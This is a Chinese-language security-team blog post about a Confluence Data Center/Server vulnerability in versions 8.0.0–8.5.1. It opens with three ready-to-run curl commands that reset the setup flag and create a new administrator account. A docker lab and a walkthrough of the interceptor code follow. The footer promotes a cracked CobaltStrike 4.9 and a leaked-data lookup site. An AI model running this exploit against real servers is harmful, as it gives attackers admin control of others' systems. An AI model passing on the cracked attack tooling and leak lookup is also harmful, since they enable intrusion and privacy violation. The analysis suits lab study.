原创 刨洞安全团队 刨洞安全团队
微信号 gh_55f3b3854b4b
功能介绍 刨洞群官方公众号,一群热爱网络安全的人,关注渗透测试、红队攻防、代码审计、内网渗透、WAF绕过、云原生安全等领域技术研究,分享网安学习心得,永远充满激情。
__发表于
收录于合集
影响版本:
8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1
Exploit:
curl http://127.0.0.1:8090/server-info.action\?bootstrapStatusProvider.applicationConfig.setupComplete\=false\;
curl -X POST -H "X-Atlassian-Token: no-check" -d "username=haxor&fullName=leet&email=leet@leet.com&password=leet&confirm=leet&setup-next-button=Next" http://127.0.0.1:8090/setup/setupadministrator.action\;
curl -X POST -H "X-Atlassian-Token: no-check" http://127.0.0.1:8090/setup/finishsetup.action
docker-compose.yml
version: '2'
services:
web:
image: vulhub/confluence:8.5.1
ports:
- "8090:8090"
- "5050:5050"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
先引用一张图
先定位到 setupadministrator.action
com.atlassian.confluence_confluence-8.5.1/struts.xml
可以看到处理的 class
是
com.atlassian.confluence.setup.actions.SetupAdministrator
,先经过
defaultSetupStack
的拦截器
<action name="setupadministrator-start" class="com.atlassian.confluence.setup.actions.SetupAdministrator" method="doDefault">
<interceptor-ref name="defaultSetupStack"/>
<result name="input" type="velocity">/setup/setupadministrator.vm</result>
<result name="error" type="velocity">/setup/setupadministrator.vm</result>
</action>
<action name="setupadministrator" class="com.atlassian.confluence.setup.actions.SetupAdministrator">
<result name="input" type="velocity">/setup/setupadministrator.vm</result>
<result name="error" type="velocity">/setup/setupadministrator.vm</result>
<result name="success" type="redirect">finishsetup.action</result>
<result name="custom-setup" type="redirect">finishsetup.action</result>
<result name="quick-setup" type="redirect">finishsetup.action</result>
</action>
defaultSetupStack
拦截器里有一个 setupcheck
检测
<interceptor-stack name="setupStack">
<interceptor-ref name="setup"/>
</interceptor-stack>
<interceptor-stack name="defaultSetupStack">
<interceptor-ref name="setupStack"/>
<interceptor-ref name="defaultStack"/>
</interceptor-stack>
经过动态调试大概逻辑是
第一次执行
return BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup() ? "alreadysetup" : actionInvocation.invoke(); -> Fasle->actionInvocation.invoke();
第二次执行两边的 isSetupComplete 都返回 true。由于返回是 true 所以是返回 alreadysetup
BootstrapUtils.getBootstrapManager().isSetupComplete()
会返回 setupComplete
的值,如果是已经安装则返回 true
而第一次 ContainerManager.isContainerSetup()
不存在则返回 false
一真一假返回假,走到 actionInvocation.invoke();
,在
com/opensymphony/xwork2/DefaultActionInvocation.class
第 203行
会再次执行
SetupCheckInterceptor.intercept
。由于第二次两边都是 true
所以返回 alreadysetup
字符串
最后 ResultCode
是 alreadysetup
,检测为已经安装
该漏洞将 bootstrapStatusProvider.applicationConfig.setupComplete
设置为
false
。在这里将不会返回 alreadysetup
,也就是说我们在设置了 setupComplete
属性为 false
后;在下一次访问 /setup/*
目录下触发 setupComplete
拦截器前将一直有效
最后漏洞点是出现在,重写拦截器的点上
<interceptor name="params" class="com.atlassian.xwork.interceptors.SafeParametersInterceptor"/>
当请求的 payload
经过 isSafeParameterName
的匹配,最后会去到 stack.setValue()
(然而我动态调试就是断不到这),那你问我,我怎么知道在地方是漏洞点,他钩子就这一个地方能控制不是这也没别的了
这里还需要设置一手 X-Atlassian-Token: no-check
的原因还是拦截器有检测
<interceptor name="xsrfToken" class="com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor"/>
<interceptor-ref name="xsrfToken"/>
Exploit
参考链接
https://mp.weixin.qq.com/s?__biz=MzkxMzM3NjMxOQ==&mid=2247483685&idx=1&sn=54b435180042beb9b709d1553bc3f5ab&chksm=c17fd475f6085d634f1c529148f7f825400ffe899c51e181193e6bdf7cbd5d01c4697557104a&mpshare=1&scene=1&srcid=1018qojPYalTqmkCEJMtpr6x&sharer_shareinfo=600bda857d36789f7e9d9b21356b7250&sharer_shareinfo_first=600bda857d36789f7e9d9b21356b7250#rd
关注公众号后台回复 0001
领取域渗透思维导图,0002
领取VMware 17永久激活码,0003
获取SGK地址,0004
获取在线ChatGPT地址,0005
获取 Windows10渗透集成环境,0006
获取 CobaltStrike 4.9破解版
加我微信好友,邀请你进交流群
往期推荐
[
对某金融App的加解密hook+rpc+绕过SSLPinning抓包
疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击
Fofa新产品 - 绕CDN溯源真实IP!
Cobalt Strike 4.8 正式发布上线!
团队在线Windows进程识别正式内测
突发!微信疑似存在RCE
COM接口学习与利用
域渗透之NTLM Relay
Kerberos Bronze Bit Attack 绕过约束/资源委派限制
KKCMS 1.371 代码审计
日常记录对某站点的实战渗透
国产之光IDE,自带国产特色VIP功能!
善攻者,动于九天之上。善守者,藏于九地之下!
红蓝对抗,强则强,弱则亡!
谈一谈我是如何入门安全的,七年安全生涯总结
备用号,欢迎关注
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看